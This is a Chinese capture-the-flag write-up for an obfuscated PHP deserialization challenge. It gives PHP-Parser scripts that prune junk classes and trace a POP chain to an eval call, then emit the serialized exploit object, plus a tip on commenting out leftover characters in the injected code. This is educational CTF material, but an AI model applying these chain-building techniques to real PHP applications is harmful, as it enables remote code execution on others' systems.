这个题目比较好的思路是写静态分析利用代码 当然这个题目可能混淆不是很多,所以利用起来稍微方便一点,可以参考如下代码 首先下载pop代码保存为class.php
保存下面php静态分析代码为filter.php.需要修改你本地的autoload.php位置和entryFunc的内容
<?php
ini_set('max_execution_time', '300');
require 'D:\phpstudy_pro\Extensions\php\php8.0.2nts\ext\vendor\autoload.php';
use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter;
$entryFunc = 'EuHobE';
$inputPhpFile = 'class.php';
$outputPhpFile = 'class.php';
$code = file_get_contents($inputPhpFile);
echo "[+]get file done\n";
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$stmts = $parser->parse($code);
} catch (Error $e) {
echo "Parse error:{$e->getMessage()}\n";
exit(0);
}
$deleteCnt = 0;
$deleteCla = 0;
$nodeDumper = new NodeDumper;
foreach ($stmts as $k => $class_point) {
if ($class_point->gettype() === 'Stmt_Nop')
continue;
$flag = 0;
foreach ($class_point->stmts as $kk => $subpoint) {
if ($subpoint->gettype() !== 'Stmt_Property') {
$flag = 1;
}
if ($subpoint->gettype() === 'Stmt_Nop')
continue;
if ($subpoint->gettype() === "Stmt_ClassMethod") {
if (substr_count($code, $subpoint->name->name) == 1 && $subpoint->name->name !== $entryFunc) {
$deleteCnt++;
unset($class_point->stmts[$kk]);
continue;
}
if (!$subpoint->params) {
$deleteCnt++;
unset($class_point->stmts[$kk]);
continue;
}
$parms = $subpoint->params[0]->var->name;
foreach ($subpoint->stmts as $kkk => $method_point) {
if ($method_point->gettype() === 'Stmt_Expression' && $method_point->expr->gettype() === 'Expr_Assign' && $method_point->expr->var->name === $parms) {
$deleteCnt++;
unset($class_point->stmts[$kk]);
continue;
}
if ($method_point->gettype() === 'Stmt_For') {
foreach ($method_point->stmts as $kkkk => $for_point) {
if ($for_point->gettype() === 'Stmt_Expression' && $for_point->expr->gettype() === 'Expr_Assign' && $for_point->expr->var->name === $parms) {
$deleteCnt++;
unset($class_point->stmts[$kk]);
continue;
}
}
}
if ($method_point->gettype() === 'Stmt_Expression' && $method_point->expr->gettype() === 'Expr_Eval') {
if (substr_count($code, $method_point->expr->expr->name) === 1) {
$deleteCnt++;
unset($class_point->stmts[$kk]);
continue;
}
}
}
}
}
if ($flag == 0) {
$deleteCla++;
unset($stmts[$k]);
}
}
echo '[+] filter done' . "\n";
$prettyPrinter = new PrettyPrinter\Standard;
$afterFilter = $prettyPrinter->prettyPrintFile($stmts);
file_put_contents($outputPhpFile, $afterFilter);
echo '[+] total filter: ' . $deleteCnt . ' function' . "\n";
echo '[+] total filter: ' . $deleteCla . ' class' . "\n";
运行如下python代码将自动开始过滤
import os
number = 1
while number != 0:
str = os.popen("php filter.php").read()
print(str)
str = str .split('\n')
number = int(str[2].split(':')[1].split('function')[0]) + \
int(str[3].split(':')[1].split('class')[0])
 可能会报错,不要管他  直到如下  现在还有大概这么多代码,下面开始分析利用链  这道题因为只有一个eval,每个 class只有一个属性,稍微简单了一点 exp.php
<?php
require 'D:\phpstudy_pro\Extensions\php\php8.0.2nts\ext\vendor\autoload.php';
use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter;
$entrFunc = 'paWQm5';
$input_file = 'class.php';
$code = file_get_contents($input_file);
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
function modify($fun_name)
{
global $parser;
global $code;
$stmts = $parser->parse($code);
global $entrFunc;
foreach ($stmts as $k => $class_point) {
foreach ($class_point->stmts as $kk => $class_member) {
if ($class_member->gettype() === 'Stmt_ClassMethod') {
foreach ($class_member->stmts as $kkk => $method_member) {
if ($method_member->gettype() === 'Stmt_Expression') {
if ($fun_name === 'eval') {
if ($method_member->expr->gettype() === 'Expr_Eval') {
modify($class_member->name->name);
echo "->" . $class_point->name->name;
}
} else if (@$method_member->expr->name->name === $fun_name) {
if ($class_member->name->name !== $entrFunc) {
modify($class_member->name->name);
echo "->" . $class_point->name->name;
} else {
echo $class_point->name->name;
return 0;
}
}
}
}
}
}
}
}
$class_name = [];
$shuxing_name = [];
$func_name = [];
$diaoyong_func = [];
$stmts = $parser->parse($code);
foreach ($stmts as $k => $class_point) {
if ($class_point->gettype() === 'Stmt_Class') {
$class_name[$k] = $class_point->name->name;
$func = [];
$shuxing = [];
$diaoyong_zong = [];
foreach ($class_point->stmts as $kk => $class_member) {
if ($class_member->gettype() === 'Stmt_Property') {
array_push($shuxing, $class_member->props[0]->name->name);
} else if ($class_member->gettype() === 'Stmt_ClassMethod') {
array_push($func, $class_member->name->name);
$diaoyong = [];
foreach ($class_member->stmts as $kkk => $method_member) {
if ($method_member->gettype() === 'Stmt_If') {
foreach ($method_member->stmts as $kkkk => $if_member) {
if ($if_member->gettype() === 'Stmt_Expression') {
if ($if_member->expr->gettype() === 'Expr_MethodCall') {
array_push($diaoyong, $if_member->expr->name->name);
}
}
}
} else if ($method_member->gettype() === 'Stmt_Expression') {
if ($method_member->expr->gettype() === 'Expr_Eval') {
array_push($diaoyong, 'eval');
} else if ($method_member->expr->gettype() === 'Expr_MethodCall') {
array_push($diaoyong, $method_member->expr->name->name);
}
}
}
$diaoyong_zong[$class_member->name->name] = $diaoyong;
}
}
$func_name[$k] = $func;
$shuxing_name[$k] = $shuxing;
$diaoyong_func[$k] = $diaoyong_zong;
}
}
$diaoyong_lian = [];
$diaoyong_funcs = [];
function digui($func)
{
global $entrFunc;
global $class_name;
global $diaoyong_funcs;
global $diaoyong_lian;
global $diaoyong_func;
if ($func === $entrFunc) {
return 0;
} else {
foreach ($diaoyong_func as $k => $diaoyong) {
foreach ($diaoyong as $kk => $ziiaoyong) {
if (in_array($func, $ziiaoyong)) {
array_unshift($diaoyong_lian, $k);
array_unshift($diaoyong_funcs, $kk);
digui($kk);
}
}
}
}
}
digui('eval');
$left = '$A';
$all = "<?php\nrequire_once('class.php');\n";
foreach ($diaoyong_lian as $k => $value) {
$right = "=new $class_name[$value]();\n";
$all .= $left . $right;
$left .= '->' . $shuxing_name[$k][0];
}
$all .= 'echo serialize($A);';
file_put_contents('5.php', $all);
运行会生成5.php 即我们的pop链  接下来直接开打就好,注意argv后面加个//因为拼接的时候有多余的字符 
|